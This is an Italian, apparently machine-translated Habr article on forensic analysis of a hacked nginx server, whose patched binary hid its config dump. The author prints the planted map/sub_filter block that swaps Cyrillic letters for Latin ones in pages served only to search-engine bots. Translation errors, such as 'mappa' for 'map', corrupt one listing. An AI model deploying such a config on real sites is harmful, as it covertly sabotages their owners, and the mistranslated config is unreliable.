Quando 'a' non è uguale a 'a'. Sulle tracce di un hacker

Una storia piuttosto sgradevole è successa a un mio conoscente. Ma quanto è stata sgradevole per Michail, tanto è stata affascinante per me.

Devo dire che il mio amico è un vero UNIX-utente: può installare il sistema da solo, configurare mysql, php e fare le impostazioni più semplici. nginx.
Ha una dozzina di siti web dedicati agli strumenti da costruzione.

Uno di questi siti, dedicato alle seghe a motore, è in classifica nelle prime posizioni dei motori di ricerca. Questo sito è una recensione senza scopo di lucro, ma a qualcuno non è piaciuto e hanno iniziato ad attaccarlo. A volte DDoS, a volte bruteforce, a volte scrivono commenti inappropriati e inviano segnalazioni all'hosting e al Roskomnadzor.
Improvvisamente tutto si è calmato e questo silenzio non era di buon auspicio, e il sito ha iniziato gradualmente a scivolare giù nei risultati di ricerca.

Quando 'a' non è uguale a 'а'. Sulle tracce di un hack

Quella era un'introduzione, e ora inizia la vera storia dell'amministratore.

Era quasi ora di andare a dormire quando squillò il telefono: «San, potresti dare un'occhiata al mio server? Penso di essere stato hackerato, non posso provarlo, ma la sensazione non mi abbandona da tre settimane. Forse è solo il momento di curare la mia paranoia?»

Poi è seguita una discussione di mezz'ora che può essere riassunta così:

  • il terreno per l'hacking era piuttosto fertile;
  • l'hacker poteva ottenere diritti di superutente;
  • l'attacco (se c'era) era mirato e specifico per questo sito;
  • i punti problematici sono stati corretti e bisogna solo capire se c'è stata effettivamente una violazione;
  • l'hacking non poteva toccare il codice del sito e i database.

Per quanto riguarda l'ultimo punto.

Quando 'a' non è uguale a 'а'. Sulle tracce di un hack

Il mondo vede solo l'IP pubblico del frontend. Non c'è scambio tra i backend e il frontend tranne che tramite http(s), gli utenti/le password sono diversi, le chiavi non sono state scambiate. Sugli indirizzi grigi tutte le porte tranne 80/443 sono chiuse. Gli IP pubblici dei backend sono noti solo a due utenti, a cui Michail si fida ciecamente.

Nel frontend è installata Debian 9 e al momento della chiamata il sistema è isolato dal mondo tramite un firewall esterno ed è fermo.

«Ok, dammi gli accessi, — decido di posticipare il sonno di un'ora. — Darò un'occhiata con i miei occhi».

Qui e dopo:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, versione 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
versione nginx: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

In cerca di possibili violazioni

Avvio il server, prima in modalità rescue.Monto i dischi, scorro i log di autenticazione,логи, history, log di sistema ecc., verifico le date di creazione dei file se possibile, anche se capisco che un vero hacker avrebbe 'pulito' dietro di sé, e Misha ha già 'calpestato' abbastanza nel frattempo che cercava.

Inizio in modalità normale, senza sapere esattamente cosa cercare, studio le configurazioni. Sono principalmente interessato a nginx perché, in fin dei conti, sul front-end non c'è altro.
Le configurazioni sono piccole, ben strutturate in una decina di file, le sto esaminando semplicemente cat’a turno. Sembra tutto pulito, ma potrebbe essere che abbia trascurato qualcosa include, quindi farò un elenco completo:

$ nginx -T
nginx: il file di configurazione /usr/local/etc/nginx/nginx.conf ha sintassi corretta
nginx: il test del file di configurazione /usr/local/etc/nginx/nginx.conf ha avuto successo

Non ho capito: 'Dove è l'elenco?'

$ nginx -V
nginx version: nginx/1.10.3
Supporto TLS SNI abilitato
Argomenti di configurazione: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

A proposito della lista, si aggiunge il secondo: «Perché una versione di nginx così vecchia?»

Inoltre, il sistema crede che la versione sia installata più recentemente:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          server web/proxy piccolo, potente e scalabile

Chiamo:
— Mish, perché lo hai ricompilato? nginx?
— Rilassati, non so nemmeno come farlo!
— Ok, bene, dormi...

Nginx indubbiamente ricompilato e l'output della lista per «-T» è nascosto non per caso. Non ci sono dubbi su un'intrusione, quindi possiamo semplicemente accettarlo e (dato che Misha ha comunque sostituito il server con uno nuovo) considerare il problema risolto.

E in effetti, se qualcuno ha ottenuto i diritti rootha senso fare solo reinstallazione del sistema, e cercare di capire cosa sia successo è inutile, ma questa volta la curiosità ha superato il sonno. Come possiamo scoprire cosa ci volevano nascondere?

Proviamo a tracciare:

$ strace nginx -T

Dalla tracciatura sembra mancare chiaramente una riga come

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Per curiosità, confrontiamo le uscite

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Penso che parte del codice /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

sia stata modificata in modo che diventi:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

o

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

quindi l'elenco per «-T» non viene visualizzato.

Ma come possiamo visualizzare la nostra configurazione?

Se il mio pensiero è corretto e il problema è solo nella variabile ngx_dump_config proviamo a impostarla usando gdb, fortunatamente il flag --with-cc-opt -g è presente e speriamo che l'ottimizzazione -O2 non ci ostacoli. Nel frattempo, dato che non so come ngx_dump_config può essere elaborata in case 'T':, non chiameremo questo blocco, ma lo imposteremo utilizzando case 't':

Perché si può utilizzare '-t' insieme a '-T'Elaborazione del blocco if(ngx_dump_config) avviene all'interno if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "il file di configurazione %s è stato testato con successo",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i config_dump.nelts; i++) {

                ngx_write_stdout("# file di configurazione ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Certo, se il codice è cambiato in questa parte, e non in case 'T':, il mio metodo non funzionerà.

File di test nginx.confGià risolvendo il problema empiricamente, è stato stabilito che per il funzionamento del malware è necessaria una configurazione minima nginx del tipo:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Lo utilizzeremo per brevità nell'articolo.

Avviamo il debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*\/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Passo dopo passo:

  • impostiamo un punto di interruzione nella funzione main()
  • avviamo il programma
  • modifichiamo il valore della variabile che determina l'output della configurazione ngx_dump_config=1
  • continuiamo/terminiamo il programma

Come possiamo vedere, la configurazione reale differisce dalla nostra, isoliamo il pezzo parassitario da essa:

mappa $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

mappa $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

mappa о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

mappa а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Esaminiamo passo dopo passo cosa sta succedendo qui.

Viene definito User-Agent‘ы yandex/google:

mappa $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Vengono escluse le pagine di servizio wordpress:

mappa $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

E per coloro che rientrano in entrambe le condizioni sopra menzionate

mappa о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

mappa а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

nel testo html-la pagina cambia ‘о’ con ‘o’ e ‘а’ con ‘a’:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Proprio così, la sottigliezza sta nel fatto che ‘а’ != ‘a’ così come ‘о’ != ‘o’:

Quando 'a' non è uguale a 'а'. Sulle tracce di un hack

Pertanto, i bot dei motori di ricerca ricevono invece di un normale testo 100%-cirillico un rifiuto modificato mescolato con caratteri latini ‘a’ e ‘o’. Non so come questo influisca sulla SEO, ma è difficile pensare che una simile mescolanza di lettere possa avere un effetto positivo sulle posizioni nei risultati.

Cosa dire, ragazzi con fantasia.

Link

Debugging con GDB
gdb(1) — pagina man di Linux
strace(1) — pagina man di Linux
Nginx — Modulo ngx_http_sub_module
Sulle seghe, seghe a motore e seghe elettriche

Fonte: habr.com

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster